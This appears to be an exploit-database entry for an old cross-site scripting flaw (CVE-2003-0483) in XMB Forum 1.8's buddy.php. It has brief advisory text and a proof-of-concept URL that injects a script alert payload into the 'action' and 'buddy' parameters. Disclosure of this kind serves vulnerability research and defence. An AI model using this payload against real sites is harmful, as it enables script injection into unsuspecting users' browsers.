XMB Forum 1.8 - 'buddy.php?action' Cross-Site Scripting

Author: Knight Commander
type: webapps
platform: php
port: 0
date_added: 2003-06-23
date_updated: 2012-11-19
verified: 1
codes: CVE-2003-0483;OSVDB-23073
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source: https://www.securityfocus.com/bid/8013/info

XMB Forum has been reported prone to multiple cross-site scripting and HTML-injection vulnerabilities because the application fails to sanitize user-supplied data.

An attacker may exploit any one of these vulnerabilities to execute arbitrary script code in the browser of an unsuspecting user.

http://www.example.com/XMBforum/buddy.php?action=<script>alert('XSS')</script>&buddy=<script>alert('XSS')</script>